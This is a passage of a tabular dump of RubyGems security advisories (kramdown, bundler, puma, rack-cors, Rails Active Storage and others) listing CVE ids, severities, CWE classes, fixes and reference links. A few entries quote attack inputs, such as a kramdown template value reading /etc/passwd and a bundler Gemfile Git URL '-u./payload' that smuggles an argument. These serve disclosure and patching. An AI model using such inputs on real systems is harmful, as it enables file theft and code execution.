| {'CVE-2021-43805'} | 2022-03-03T05:13:22.044529Z | 2021-12-07T22:01:47Z | HIGH | null | {'CWE-1333'} | {'https://github.com/solidusio/solidus/commit/6be174c955fad84017ca67589c676526bc5ade71', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43805', 'https://github.com/solidusio/solidus/commit/9867153e01e3c3b898cdbcedd7b43375ea922401', 'https://github.com/solidusio/solidus/security/advisories/GHSA-qxmr-qxh6-2cc9', 'https://github.com/solidusio/solidus'} | null | {'https://github.com/solidusio/solidus/commit/9867153e01e3c3b898cdbcedd7b43375ea922401', 'https://github.com/solidusio/solidus/commit/6be174c955fad84017ca67589c676526bc5ade71'} | {'https://github.com/solidusio/solidus/commit/9867153e01e3c3b898cdbcedd7b43375ea922401', 'https://github.com/solidusio/solidus/commit/6be174c955fad84017ca67589c676526bc5ade71'} |
RubyGems | GHSA-x27v-x225-gq8g | Server-Side Request Forgery in Recurly | The Recurly Client Ruby Library before 2.0.13, 2.1.11, 2.2.5, 2.3.10, 2.4.11, 2.5.4, 2.6.3, 2.7.8, 2.8.2, 2.9.2, 2.10.4, 2.11.3 is vulnerable to a Server-Side Request Forgery vulnerability in the "Resource#find" method that could result in compromise of API keys or other critical resources. | {'CVE-2017-0905'} | 2022-03-03T05:13:53.022542Z | 2017-12-06T16:43:00Z | CRITICAL | null | {'CWE-918'} | {'https://dev.recurly.com/page/ruby-updates', 'https://github.com/recurly/recurly-client-ruby/commit/1bb0284d6e668b8b3d31167790ed6db1f6ccc4be', 'https://hackerone.com/reports/288635', 'https://github.com/recurly/recurly-client-ruby', 'https://nvd.nist.gov/vuln/detail/CVE-2017-0905', 'https://github.com/advisories/GHSA-x27v-x225-gq8g'} | null | {'https://github.com/recurly/recurly-client-ruby/commit/1bb0284d6e668b8b3d31167790ed6db1f6ccc4be'} | {'https://github.com/recurly/recurly-client-ruby/commit/1bb0284d6e668b8b3d31167790ed6db1f6ccc4be'} |
RubyGems | GHSA-49pj-69vf-c689 | Incorrect Default Permissions in netaddr | The netaddr gem before 2.0.4 for Ruby has misconfigured file permissions, such that a gem install may result in 0777 permissions in the target filesystem. | {'CVE-2019-17383'} | 2022-03-03T05:14:12.069946Z | 2019-10-14T21:43:19Z | CRITICAL | null | {'CWE-276'} | {'https://rubygems.org/gems/netaddr/versions', 'https://github.com/dspinhirne/netaddr-rb/commit/3aac46c00a36e71905eaa619cb94d45bff6e3b51', 'https://nvd.nist.gov/vuln/detail/CVE-2019-17383'} | null | {'https://github.com/dspinhirne/netaddr-rb/commit/3aac46c00a36e71905eaa619cb94d45bff6e3b51'} | {'https://github.com/dspinhirne/netaddr-rb/commit/3aac46c00a36e71905eaa619cb94d45bff6e3b51'} |
RubyGems | GHSA-2j9c-9vmv-7m39 | Missing anchor in Rack-Cors allows malicious third party site to perform CORS request | Missing anchor in generated regex for rack-cors before 0.4.1 allows a malicious third-party site to perform CORS requests. If the configuration were intended to allow only the trusted example.com domain name and not the malicious example.net domain name, then example.com.example.net (as well as example.com-example.net) would be inadvertently allowed. | {'CVE-2017-11173'} | 2022-04-26T18:33:06.302051Z | 2018-07-31T18:18:39Z | HIGH | null | null | {'https://github.com/cyu/rack-cors/commit/42ebe6caa8e85ffa9c8a171bda668ba1acc7a5e6', 'https://github.com/advisories/GHSA-2j9c-9vmv-7m39', 'http://seclists.org/fulldisclosure/2017/Jul/22', 'http://www.debian.org/security/2017/dsa-3931', 'https://packetstormsecurity.com/files/143345/rack-cors-Missing-Anchor.html', 'https://nvd.nist.gov/vuln/detail/CVE-2017-11173', 'https://github.com/cyu/rack-cors'} | null | {'https://github.com/cyu/rack-cors/commit/42ebe6caa8e85ffa9c8a171bda668ba1acc7a5e6'} | {'https://github.com/cyu/rack-cors/commit/42ebe6caa8e85ffa9c8a171bda668ba1acc7a5e6'} |
RubyGems | GHSA-rg32-m3hf-772v | Deserialization of Untrusted Data in Slanger | Slanger 0.6.0 is affected by Remote Code Execution (RCE). The impact is A remote attacker can execute arbitrary commands by sending a crafted request to the server. The component is Message handler & request validator. The attack vector is Remote unauthenticated. The fixed version is after commit 5267b455caeb2e055cccf0d2b6a22727c111f5c3. | {'CVE-2019-1010306'} | 2022-03-03T05:13:31.232916Z | 2019-07-16T00:41:40Z | CRITICAL | null | {'CWE-502'} | {'https://github.com/stevegraham/slanger/pull/238/commits/5267b455caeb2e055cccf0d2b6a22727c111f5c3', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1010306'} | null | {'https://github.com/stevegraham/slanger/pull/238/commits/5267b455caeb2e055cccf0d2b6a22727c111f5c3'} | {'https://github.com/stevegraham/slanger/pull/238/commits/5267b455caeb2e055cccf0d2b6a22727c111f5c3'} |
RubyGems | GHSA-pf8f-w267-mq2h | The rack-cors rubygem may allow directory traveral | An issue was discovered in the rack-cors (aka Rack CORS Middleware) gem before 1.0.4 for Ruby. It allows ../ directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format. | {'CVE-2019-18978'} | 2022-03-03T05:14:17.661216Z | 2019-11-15T20:26:59Z | MODERATE | null | {'CWE-22'} | {'https://github.com/cyu/rack-cors/commit/e4d4fc362a4315808927011cbe5afcfe5486f17d', 'https://www.debian.org/security/2021/dsa-4918', 'https://usn.ubuntu.com/4571-1/', 'https://nvd.nist.gov/vuln/detail/CVE-2019-18978', 'https://lists.debian.org/debian-lts-announce/2020/02/msg00004.html', 'https://lists.debian.org/debian-lts-announce/2020/10/msg00000.html', 'https://github.com/cyu/rack-cors/compare/v1.0.3...v1.0.4'} | null | {'https://github.com/cyu/rack-cors/commit/e4d4fc362a4315808927011cbe5afcfe5486f17d'} | {'https://github.com/cyu/rack-cors/commit/e4d4fc362a4315808927011cbe5afcfe5486f17d'} |
RubyGems | GHSA-4p8f-mmfj-r45g | Cross-site scripting in fat_free_crm | Fat Free CRM before 0.18.1 has XSS in the tags_helper in app/helpers/tags_helper.rb. | {'CVE-2018-20975'} | 2022-03-03T05:12:18.531927Z | 2019-08-21T16:15:04Z | MODERATE | null | {'CWE-79'} | {'https://github.com/fatfreecrm/fat_free_crm/commit/6d60bc8ed010c4eda05d6645c64849f415f68d65', 'https://github.com/fatfreecrm/fat_free_crm/releases/tag/v0.18.1', 'https://github.com/fatfreecrm/fat_free_crm/compare/v0.17.3...v0.18.1', 'https://nvd.nist.gov/vuln/detail/CVE-2018-20975'} | null | {'https://github.com/fatfreecrm/fat_free_crm/commit/6d60bc8ed010c4eda05d6645c64849f415f68d65'} | {'https://github.com/fatfreecrm/fat_free_crm/commit/6d60bc8ed010c4eda05d6645c64849f415f68d65'} |
RubyGems | GHSA-48w2-rm65-62xx | Inconsistent Interpretation of HTTP Requests in puma | ### Impact
Prior to `puma` version 5.5.0, using `puma` with a proxy which forwards LF characters as line endings could allow HTTP request smuggling. A client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.
This behavior (forwarding LF characters as line endings) is very uncommon amongst proxy servers, so we have graded the impact here as "low". Puma is only aware of a single proxy server which has this behavior.
If the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.
### Patches
This vulnerability was patched in Puma 5.5.1 and 4.3.9.
### Workarounds
This vulnerability only affects Puma installations without any proxy in front.
Use a proxy which does not forward LF characters as line endings.
Proxies which do not forward LF characters as line endings:
* Nginx
* Apache (>2.4.25)
* Haproxy
* Caddy
* Traefik
### Possible Breakage
If you are [dealing with legacy clients that want to send `LF` as a line ending](https://stackoverflow.com/questions/43574428/have-apache-accept-lf-vs-crlf-in-request-headers) in an HTTP header, this will cause those clients to receive a `400` error.
### References
* [HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Puma](https://github.com/puma/puma)
* See our [security policy](https://github.com/puma/puma/security/policy)
| {'CVE-2021-41136'} | 2022-03-03T05:13:42.190337Z | 2021-10-12T17:53:00Z | LOW | null | {'CWE-444'} | {'https://github.com/puma/puma/releases/tag/v5.5.1', 'https://github.com/puma/puma/releases/tag/v4.3.9', 'https://github.com/puma/puma', 'https://github.com/puma/puma/security/advisories/GHSA-48w2-rm65-62xx', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41136', 'https://github.com/puma/puma/commit/acdc3ae571dfae0e045cf09a295280127db65c7f'} | null | {'https://github.com/puma/puma/commit/acdc3ae571dfae0e045cf09a295280127db65c7f'} | {'https://github.com/puma/puma/commit/acdc3ae571dfae0e045cf09a295280127db65c7f'} |
RubyGems | GHSA-2hxv-mx8x-mcj9 | Spina vulnerable to a cross-site request forgery (CSRF) vulnerability | Cross-site request forgery (CSRF) vulnerability in Spina before commit bfe44f289e336f80b6593032679300c493735e75. | {'CVE-2015-4619'} | 2022-04-26T18:33:06.216082Z | 2018-08-28T22:34:22Z | HIGH | null | {'CWE-352'} | {'http://www.securityfocus.com/bid/75216', 'https://github.com/advisories/GHSA-2hxv-mx8x-mcj9', 'http://www.openwall.com/lists/oss-security/2015/06/16/20', 'https://github.com/denkGroot/Spina', 'https://nvd.nist.gov/vuln/detail/CVE-2015-4619', 'https://github.com/denkGroot/Spina/commit/bfe44f289e336f80b6593032679300c493735e75'} | null | {'https://github.com/denkGroot/Spina/commit/bfe44f289e336f80b6593032679300c493735e75'} | {'https://github.com/denkGroot/Spina/commit/bfe44f289e336f80b6593032679300c493735e75'} |
RubyGems | GHSA-46j2-xjgp-jrfm | Information disclosure issue in Active Resource | There is a possible information disclosure issue in Active Resource <v5.1.1 that could allow an attacker to create specially crafted requests to access data in an unexpected way and possibly leak information. | {'CVE-2020-8151'} | 2022-03-03T05:13:44.971445Z | 2020-05-21T21:09:38Z | HIGH | null | {'CWE-863', 'CWE-200'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-8151', 'https://github.com/rails/activeresource/commit/0de18f7e96fa90bbf23b16ac11980bc2cb6a716e', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pktoF4VmiM8', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/P7B7A4H22DZ522HLDS3JX3NX2CXIOZSR/', 'https://github.com/rails/activeresource'} | null | {'https://github.com/rails/activeresource/commit/0de18f7e96fa90bbf23b16ac11980bc2cb6a716e'} | {'https://github.com/rails/activeresource/commit/0de18f7e96fa90bbf23b16ac11980bc2cb6a716e'} |
RubyGems | GHSA-wjx2-7hqq-8h7m | rails_admin ruby gem XSS vulnerability | RailsAdmin (aka rails_admin) before 1.4.3 and 2.x before 2.0.2 allows XSS via nested forms. | {'CVE-2020-36190'} | 2022-03-03T05:12:39.003321Z | 2021-01-14T19:17:16Z | MODERATE | null | {'CWE-79'} | {'https://github.com/sferik/rails_admin/commit/d72090ec6a07c3b9b7b48ab50f3d405f91ff4375', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rails_admin/CVE-2020-36190.yml', 'https://nvd.nist.gov/vuln/detail/CVE-2020-36190', 'https://github.com/sferik/rails_admin/blob/master/README.md', 'https://github.com/sferik/rails_admin/compare/v1.4.2...v1.4.3'} | null | {'https://github.com/sferik/rails_admin/commit/d72090ec6a07c3b9b7b48ab50f3d405f91ff4375'} | {'https://github.com/sferik/rails_admin/commit/d72090ec6a07c3b9b7b48ab50f3d405f91ff4375'} |
RubyGems | GHSA-jc8m-cxhj-668x | Improper Restriction of Excessive Authentication Attempts in Sorcery | ### Impact
Brute force vulnerability when using password authentication via Sorcery. The brute force protection submodule will prevent a brute force attack for the defined lockout period, but once expired protection will not be re-enabled until a user or malicious actor logs in successfully. This does not affect users that do not use the built-in brute force protection submodule, nor users that use permanent account lockout.
### Patches
Patched as of version `0.15.0`.
### Workarounds
Currently no workarounds, other than monkey patching the authenticate method provided by Sorcery or upgrading to version `0.15.0`. | {'CVE-2020-11052'} | 2022-03-03T05:13:08.974248Z | 2020-05-07T21:16:46Z | HIGH | null | {'CWE-307'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-11052', 'https://github.com/Sorcery/sorcery/issues/231', 'https://github.com/Sorcery/sorcery/pull/235', 'https://github.com/Sorcery/sorcery/commit/0f116d223826895a73b12492f17486e5d54ab7a7', 'https://github.com/Sorcery/sorcery/security/advisories/GHSA-jc8m-cxhj-668x'} | null | {'https://github.com/Sorcery/sorcery/commit/0f116d223826895a73b12492f17486e5d54ab7a7'} | {'https://github.com/Sorcery/sorcery/commit/0f116d223826895a73b12492f17486e5d54ab7a7'} |
RubyGems | GHSA-mqm2-cgpr-p4m6 | Unintended read access in kramdown gem | The kramdown gem before 2.3.0 for Ruby processes the template option inside Kramdown documents by default, which allows unintended read access (such as template="/etc/passwd") or unintended embedded Ruby code execution (such as a string that begins with template="string://<%= `). NOTE: kramdown is used in Jekyll, GitLab Pages, GitHub Pages, and Thredded Forum. | {'CVE-2020-14001'} | 2022-04-29T20:33:22.978732Z | 2020-08-07T22:27:41Z | CRITICAL | null | {'CWE-862'} | {'https://kramdown.gettalong.org/news.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ENMMGKHRQIZ3QKGOMBBBGB6B4LB5I7NQ/', 'https://www.debian.org/security/2020/dsa-4743', 'https://security.netapp.com/advisory/ntap-20200731-0004/', 'https://usn.ubuntu.com/4562-1/', 'https://kramdown.gettalong.org', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KBLTGBYU7NKOUOHDKVCU4GFZMGA6BP4L/', 'https://lists.apache.org/thread.html/r96df7899fbb456fe2705882f710a0c8e8614b573fbffd8d12e3f54d2@%3Cnotifications.fluo.apache.org%3E', 'https://rubygems.org/gems/kramdown', 'https://github.com/gettalong/kramdown', 'https://nvd.nist.gov/vuln/detail/CVE-2020-14001', 'https://github.com/gettalong/kramdown/compare/REL_2_2_1...REL_2_3_0', 'https://github.com/gettalong/kramdown/commit/1b8fd33c3120bfc6e5164b449e2c2fc9c9306fde', 'https://lists.debian.org/debian-lts-announce/2020/08/msg00014.html'} | null | {'https://github.com/gettalong/kramdown/commit/1b8fd33c3120bfc6e5164b449e2c2fc9c9306fde'} | {'https://github.com/gettalong/kramdown/commit/1b8fd33c3120bfc6e5164b449e2c2fc9c9306fde'} |
RubyGems | GHSA-6h88-qjpv-p32m | OpenSSL gem for Ruby using inadequate encryption strength | The OpenSSL gem for Ruby uses the same initialization vector (IV) in GCM Mode (aes-*-gcm) when the IV is set before the key, which makes it easier for context-dependent attackers to bypass the encryption protection mechanism. | {'CVE-2016-7798'} | 2022-04-25T16:47:00.898499Z | 2017-10-24T18:33:35Z | HIGH | null | {'CWE-326'} | {'https://github.com/advisories/GHSA-6h88-qjpv-p32m', 'https://www.debian.org/security/2017/dsa-3966', 'http://www.openwall.com/lists/oss-security/2016/10/01/2', 'https://github.com/ruby/openssl', 'https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html', 'https://github.com/ruby/openssl/issues/49', 'https://nvd.nist.gov/vuln/detail/CVE-2016-7798', 'http://www.securityfocus.com/bid/93031', 'https://github.com/ruby/openssl/commit/8108e0a6db133f3375608303fdd2083eb5115062', 'http://www.openwall.com/lists/oss-security/2016/09/19/9', 'http://www.openwall.com/lists/oss-security/2016/09/30/6'} | null | {'https://github.com/ruby/openssl/commit/8108e0a6db133f3375608303fdd2083eb5115062'} | {'https://github.com/ruby/openssl/commit/8108e0a6db133f3375608303fdd2083eb5115062'} |
RubyGems | GHSA-w749-p3v6-hccq | Possible code injection vulnerability in Rails / Active Storage | The Active Storage module of Rails starting with version 5.2.0 are possibly vulnerable to code injection. This issue was patched in versions 5.2.6.3, 6.0.4.7, 6.1.4.7, and 7.0.2.3. To work around this issue, applications should implement a strict allow-list on accepted transformation methods or arguments. Additionally, a strict ImageMagick security policy will help mitigate this issue. | {'CVE-2022-21831'} | 2022-03-11T20:46:53.775228Z | 2022-03-08T21:25:54Z | HIGH | null | {'CWE-94'} | {'https://github.com/rails/rails/commit/0a72f7d670e9aa77a0bb8584cb1411ddabb7546e', 'https://github.com/rails/rails', 'https://rubysec.com/advisories/CVE-2022-21831/', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21831', 'https://groups.google.com/g/rubyonrails-security/c/n-p-W1yxatI'} | null | {'https://github.com/rails/rails/commit/0a72f7d670e9aa77a0bb8584cb1411ddabb7546e'} | {'https://github.com/rails/rails/commit/0a72f7d670e9aa77a0bb8584cb1411ddabb7546e'} |
RubyGems | GHSA-h6rj-8r3c-9gpj | bson is vulnerable to denial of service due to incorrect regex validation | BSON injection vulnerability in the legal function in BSON (bson-ruby) gem before 3.0.4 for Ruby allows remote attackers to cause a denial of service (resource consumption) or inject arbitrary data via a crafted string. | {'CVE-2015-4412'} | 2022-04-25T22:45:10.830Z | 2018-03-05T19:43:21Z | CRITICAL | null | {'CWE-400'} | {'https://github.com/mongodb/bson-ruby/compare/7446d7c6764dfda8dc4480ce16d5c023e74be5ca...28f34978a85b689a4480b4d343389bf4886522e7', 'https://github.com/advisories/GHSA-h6rj-8r3c-9gpj', 'https://nvd.nist.gov/vuln/detail/CVE-2015-4412', 'https://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html', 'http://www.securityfocus.com/bid/75045', 'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999', 'https://bugzilla.redhat.com/show_bug.cgi?id=1229750', 'https://github.com/mongodb/bson-ruby', 'http://www.openwall.com/lists/oss-security/2015/06/06/3'} | null | {'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999'} | {'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999'} |
RubyGems | GHSA-h8hx-2c5r-32cf | Cross-Site Request Forgery (CSRF) in trestle-auth | ### Impact
A vulnerability in trestle-auth versions 0.4.0 and 0.4.1 allows an attacker to create a form that will bypass Rails' built-in CSRF protection when submitted by a victim with a trestle-auth admin session. This potentially allows an attacker to alter protected data, including admin account credentials.
### Patches
The vulnerability has been fixed in trestle-auth 0.4.2 released to RubyGems.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [trestle-auth](https://github.com/TrestleAdmin/trestle-auth/issues)
* Email the maintainer at [sam@sampohlenz.com](mailto:sam@sampohlenz.com) | {'CVE-2021-29435'} | 2022-03-03T05:14:00.718340Z | 2021-04-13T17:01:50Z | HIGH | null | {'CWE-352'} | {'https://github.com/TrestleAdmin/trestle-auth/security/advisories/GHSA-h8hx-2c5r-32cf', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29435', 'https://rubygems.org/gems/trestle-auth', 'https://github.com/TrestleAdmin/trestle-auth/commit/cb95b05cdb2609052207af07b4b8dfe3a23c11dc'} | null | {'https://github.com/TrestleAdmin/trestle-auth/commit/cb95b05cdb2609052207af07b4b8dfe3a23c11dc'} | {'https://github.com/TrestleAdmin/trestle-auth/commit/cb95b05cdb2609052207af07b4b8dfe3a23c11dc'} |
RubyGems | GHSA-w542-cpp9-r3g7 | CSRF in Field Test | The Field Test dashboard is vulnerable to cross-site request forgery (CSRF) with non-session based authentication methods in versions v0.2.0 through v0.3.2.
## Impact
The Field Test dashboard is vulnerable to CSRF with non-session based authentication methods, like basic authentication. Session-based authentication methods (like Devise's default authentication) are not affected.
A CSRF attack works by getting an authorized user to visit a malicious website and then performing requests on behalf of the user. In this instance, a single endpoint is affected, which allows for changing the variant assigned to a user.
All users running an affected release should upgrade immediately.
## Technical Details
Field Test uses the `protect_from_forgery` method from Rails to prevent CSRF. However, this defaults to `:null_session`, which has no effect on non-session based authentication methods. This has been changed to `protect_from_forgery with: :exception`. | {'CVE-2020-16252'} | 2022-03-03T05:14:05.267374Z | 2020-08-05T14:53:34Z | MODERATE | null | {'CWE-352'} | {'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/field_test/CVE-2020-16252.yml', 'https://nvd.nist.gov/vuln/detail/CVE-2020-16252', 'https://github.com/ankane/field_test/issues/28', 'https://github.com/ankane/field_test', 'https://github.com/ankane/field_test/commit/defd3fdf457c22d7dc5b3be7048481947bd5f0d0', 'https://rubygems.org/gems/field_test'} | null | {'https://github.com/ankane/field_test/commit/defd3fdf457c22d7dc5b3be7048481947bd5f0d0'} | {'https://github.com/ankane/field_test/commit/defd3fdf457c22d7dc5b3be7048481947bd5f0d0'} |
RubyGems | GHSA-fj7f-vq84-fh43 | Local Code Execution through Argument Injection via dash leading git url parameter in Gemfile. | In `bundler` versions before 2.2.33, when working with untrusted and apparently harmless `Gemfile`'s, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the `Gemfile` itself. However, if the `Gemfile` includes `gem` entries that use the `git` option with invalid, but seemingly harmless, values with a leading dash, this can be false.
To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the
commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.
Since this value comes from the `Gemfile` file, it can contain any character, including a leading dash.
### Exploitation
To exploit this vulnerability, an attacker has to craft a directory containing a `Gemfile` file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of `-u./payload`. This URL
will be used to construct a Git clone command but will be interpreted as the [upload-pack](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt--ultupload-packgt) argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as `bundle lock`, inside.
### Impact
This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the `Gemfile` (although they would need the weird URL with a leading dash to not raise any flags).
This kind of attack vector [has been used in the past](https://www.cnbc.com/2021/01/26/north-korean-hackers-targeting-security-researchers-on-twitter.html) to target security researchers by sending them projects to collaborate on.
### Patches
Bundler 2.2.33 has patched this problem by inserting `--` as an argument before any positional arguments to those Git commands that were affected by this issue.
### Workarounds
Regardless of whether users can upgrade or not, they should review any untrustred `Gemfile`'s before running any `bundler` commands that may read them, since they can contain arbitrary ruby code.
### References
https://cwe.mitre.org/data/definitions/88.html | {'CVE-2021-43809'} | 2022-03-03T05:13:05.052325Z | 2021-12-08T19:51:36Z | MODERATE | null | {'CWE-88'} | {'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3', 'https://github.com/rubygems/rubygems/security/advisories/GHSA-fj7f-vq84-fh43', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43809', 'https://github.com/rubygems/rubygems/pull/5142', 'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f', 'https://github.com/rubygems/rubygems'} | null | {'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f', 'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3'} | {'https://github.com/rubygems/rubygems/commit/0fad1ccfe9dd7a3c5b82c1496df3c2b4842870d3', 'https://github.com/rubygems/rubygems/commit/a4f2f8ac17e6ce81c689527a8b6f14381060d95f'} |
RubyGems | GHSA-3pxh-h8hw-mj8w | Moderate severity vulnerability that affects rack | multipart/parser.rb in Rack 1.3.x before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to cause a denial of service (memory consumption and out-of-memory error) via a long string in a Multipart HTTP packet. | {'CVE-2013-0183'} | 2022-03-03T05:12:52.510484Z | 2017-10-24T18:33:37Z | MODERATE | null | {'CWE-119'} | {'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18', 'https://github.com/advisories/GHSA-3pxh-h8hw-mj8w', 'http://rhn.redhat.com/errata/RHSA-2013-0544.html', 'https://groups.google.com/forum/#!topic/rack-devel/7ZKPNAjgRSs', 'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff', 'https://groups.google.com/forum/#!topic/rack-devel/-MWPHDeGWtI', 'https://nvd.nist.gov/vuln/detail/CVE-2013-0183', 'https://github.com/rack/rack', 'http://rhn.redhat.com/errata/RHSA-2013-0548.html', 'https://bugzilla.redhat.com/show_bug.cgi?id=895282', 'http://rack.github.com/', 'http://lists.opensuse.org/opensuse-updates/2013-03/msg00048.html', 'http://www.debian.org/security/2013/dsa-2783'} | null | {'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18', 'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff'} | {'https://github.com/rack/rack/commit/548b9af2dc0059f4c0c19728624448d84de450ff', 'https://github.com/rack/rack/commit/f95113402b7239f225282806673e1b6424522b18'} |
RubyGems | GHSA-cm9w-c4rj-r2cf | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in view_component | This is an XSS vulnerability that has the potential to impact anyone using translations with the view_component gem. Data received via user input and passed as an interpolation argument to the `translate` method is not properly sanitized before display.
Versions 2.29.1 and 2.49.1 have been released and fully mitigate the vulnerability.
Avoid passing user input to the `translate` function, or sanitize the inputs before passing them.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in the [github/view_component](http://github.com/github/view_component) project
| {'CVE-2022-24722'} | 2022-03-11T20:16:47.644105Z | 2022-03-02T22:24:05Z | HIGH | null | {'CWE-79'} | {'https://github.com/github/view_component/security/advisories/GHSA-cm9w-c4rj-r2cf', 'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24722', 'https://github.com/github/view_component/releases/tag/v2.31.2', 'https://github.com/github/view_component/', 'https://github.com/github/view_component/releases/tag/v2.49.1'} | null | {'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9'} | {'https://github.com/github/view_component/commit/3f82a6e62578ff6f361aba24a1feb2caccf83ff9'} |
RubyGems | GHSA-7359-3c6r-hfc2 | Improper Certificate Validation in oauth ruby gem | lib/oauth/consumer.rb in the oauth-ruby gem through 0.5.4 for Ruby does not verify server X.509 certificates if a certificate bundle cannot be found, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information. | {'CVE-2016-11086'} | 2022-03-03T05:14:19.515545Z | 2021-04-22T16:22:15Z | HIGH | null | {'CWE-295'} | {'https://rubygems.org/gems/oauth', 'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb', 'https://nvd.nist.gov/vuln/detail/CVE-2016-11086', 'https://github.com/oauth-xx/oauth-ruby/issues/137', 'https://github.com/oauth-xx/oauth-ruby', 'https://github.com/oauth-xx/oauth-ruby/releases/tag/v0.5.5'} | null | {'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb'} | {'https://github.com/oauth-xx/oauth-ruby/commit/eb5b00a91d4ef0899082fdba929c34ccad6d4ccb'} |
RubyGems | GHSA-2p5p-m353-833w | Sort order SQL injection in Administrate | In Administrate (rubygem) before version 0.13.0, when sorting by attributes on a dashboard,
the direction parameter was not validated before being interpolated into the SQL query.
This could present a SQL injection if the attacker were able to modify the `direction` parameter and bypass ActiveRecord SQL protections.
Whilst this does have a high-impact, to exploit this you need access to the Administrate dashboards, which we would expect to be behind authentication.
This is patched in wersion 0.13.0. | {'CVE-2020-5257'} | 2022-03-03T05:13:51.867939Z | 2020-03-13T21:05:44Z | HIGH | null | {'CWE-943'} | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3', 'https://nvd.nist.gov/vuln/detail/CVE-2020-5257', 'https://github.com/thoughtbot/administrate/security/advisories/GHSA-2p5p-m353-833w'} | null | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3'} | {'https://github.com/thoughtbot/administrate/commit/3ab838b83c5f565fba50e0c6f66fe4517f98eed3'} |
RubyGems | GHSA-f93j-hmcr-jcwh | Data Injection Vulnerability in moped Rubygem | The Moped::BSON::ObjecId.legal? method in rubygem-moped before commit dd5a7c14b5d2e466f7875d079af71ad19774609b allows remote attackers to cause a denial of service (worker resource consumption) or perform a cross-site scripting (XSS) attack via a crafted string. | {'CVE-2015-4410'} | 2022-03-03T05:13:23.301091Z | 2020-08-19T16:45:49Z | HIGH | null | {'CWE-20'} | {'https://github.com/mongoid/moped/', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/moped/CVE-2015-4410.yml', 'https://rubygems.org/gems/moped/versions', 'https://nvd.nist.gov/vuln/detail/CVE-2015-4410', 'http://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2015-July/161987.html', 'https://www.securityfocus.com/bid/75045', 'https://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2015-July/161964.html', 'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24', 'http://www.securityfocus.com/bid/75045', 'https://seclists.org/oss-sec/2015/q2/653', 'https://homakov.blogspot.ru/2012/05/saferweb-injects-in-various-ruby.html', 'https://bugzilla.redhat.com/show_bug.cgi?id=1229757', 'http://www.openwall.com/lists/oss-security/2015/06/06/3'} | null | 